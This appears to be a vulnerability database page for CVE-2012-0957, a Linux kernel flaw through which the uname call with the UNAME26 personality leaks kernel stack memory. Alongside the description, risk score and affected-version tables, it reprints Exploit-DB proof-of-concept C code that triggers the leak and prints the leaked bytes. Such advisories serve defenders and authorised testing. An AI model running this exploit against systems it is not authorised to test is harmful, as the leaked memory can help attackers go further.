CVE-2012-0957

medium

Published 2012-12-21 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

5.9

Description

The override_release function in kernel/sys.c in the Linux kernel before 3.4.16 allows local users to obtain sensitive information from kernel stack memory via a uname system call in conjunction with a UNAME26 personality.

Predictions

Exploit likelihood

55%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-37937 local linux verified c · 1 KB

Brad Spengler · 2012-10-09

Linux Kernel 3.2.x - 'uname()' System Call Local Information Disclosure

c exploit Source: Exploit-DB

/*
source: https://www.securityfocus.com/bid/55855/info

The Linux kernel is prone to a local information-disclosure vulnerability.

Local attackers can exploit this issue to obtain sensitive information that may lead to further attacks. 
*/

/* Test for UNAME26 personality uname kernel stack leak.
 * Copyright 2012, Kees Cook <keescook@chromium.org>
 * License: GPLv3
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/personality.h>
#include <sys/utsname.h>

#define UNAME26 0x0020000

int dump_uts(void)
{
	int i, leaked = 0;
	struct utsname buf = { };

	if (uname(&buf)) {
		perror("uname");
		exit(1);
	}
	printf("%s\n", buf.release);

	for (i = strlen(buf.release) + 1; i < sizeof(buf.release); i++) {
		unsigned char c = (unsigned char)buf.release[i];

		printf("%02x", c);
		if (c)
			leaked = 1;
	}
	printf("\n");

	return leaked ? (i - (strlen(buf.release) + 1)) : 0;
}

int main(int ac, char **av)
{
	int leaked;

	leaked = dump_uts();
	if (leaked) {
		printf("Leaked %d bytes even without UNAME26!?\n", leaked);
		return 1;
	}


	if (personality(PER_LINUX | UNAME26) < 0) {
		perror("personality");
		exit(1);
	}

	leaked = dump_uts();
	if (leaked) {
		printf("Leaked %d bytes!\n", leaked);
		return 1;
	} else {
		printf("Seems safe.\n");
		return 0;
	}
}

OS impact

Linux kernel Affected 108 releases

Version	Status	Fixed in
3.4.14	Affected	—
3.4.13	Affected	—
3.4.12	Affected	—
3.4.11	Affected	—
3.4.10	Affected	—
3.4.5	Affected	—
3.4.4	Affected	—
3.4.3	Affected	—
3.4.2	Affected	—
3.4.1	Affected	—
3.4	Affected	—
3.3.8	Affected	—
3.3.7	Affected	—
3.3.6	Affected	—
3.3.5	Affected	—
3.3.4	Affected	—
3.3.3	Affected	—
3.3.2	Affected	—
3.3.1	Affected	—
3.3	Affected	—
3.2.30	Affected	—
3.2.29	Affected	—
3.2.28	Affected	—
3.2.27	Affected	—
3.2.26	Affected	—
3.2.25	Affected	—
3.2.24	Affected	—
3.2.23	Affected	—
3.2.22	Affected	—
3.2.21	Affected	—
3.2.20	Affected	—
3.2.19	Affected	—
3.2.18	Affected	—
3.2.17	Affected	—
3.2.16	Affected	—
3.2.15	Affected	—
3.2.14	Affected	—
3.2.13	Affected	—
3.2.12	Affected	—
3.2.11	Affected	—
3.2.10	Affected	—
3.2.9	Affected	—
3.2.8	Affected	—
3.2.7	Affected	—
3.2.6	Affected	—
3.2.5	Affected	—
3.2.4	Affected	—
3.2.3	Affected	—
3.2.2	Affected	—
3.2.1	Affected	—
3.2	Affected	—
3.1.10	Affected	—
3.1.9	Affected	—
3.1.8	Affected	—
3.1.7	Affected	—
3.1.6	Affected	—
3.1.5	Affected	—
3.1.4	Affected	—
3.1.3	Affected	—
3.1.2	Affected	—
3.1.1	Affected	—
3.1	Affected	—
3.0.44	Affected	—
3.0.43	Affected	—
3.0.42	Affected	—
3.0.41	Affected	—
3.0.40	Affected	—
3.0.39	Affected	—
3.0.38	Affected	—
3.0.37	Affected	—
3.0.36	Affected	—
3.0.35	Affected	—
3.0.34	Affected	—
3.0.33	Affected	—
3.0.32	Affected	—
3.0.31	Affected	—
3.0.30	Affected	—
3.0.29	Affected	—
3.0.28	Affected	—
3.0.27	Affected	—
3.0.26	Affected	—
3.0.25	Affected	—
3.0.24	Affected	—
3.0.23	Affected	—
3.0.22	Affected	—
3.0.21	Affected	—
3.0.20	Affected	—
3.0.19	Affected	—
3.0.18	Affected	—
3.0.17	Affected	—
3.0.16	Affected	—
3.0.15	Affected	—
3.0.14	Affected	—
3.0.13	Affected	—
3.0.12	Affected	—
3.0.11	Affected	—
3.0.10	Affected	—
3.0.9	Affected	—
3.0.8	Affected	—
3.0.7	Affected	—
3.0.6	Affected	—
3.0.5	Affected	—
3.0.4	Affected	—
3.0.3	Affected	—
3.0.2	Affected	—
3.0.1	Affected	—
3.0	Affected	—
—	Affected	—

Debian Fixed 5 releases

Version	Status	Fixed in
trixie	Fixed	`3.2.32-1`
sid	Fixed	`3.2.32-1`
forky	Fixed	`3.2.32-1`
bullseye	Fixed	`3.2.32-1`
bookworm	Fixed	`3.2.32-1`

References

CWEs

CWE-16

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.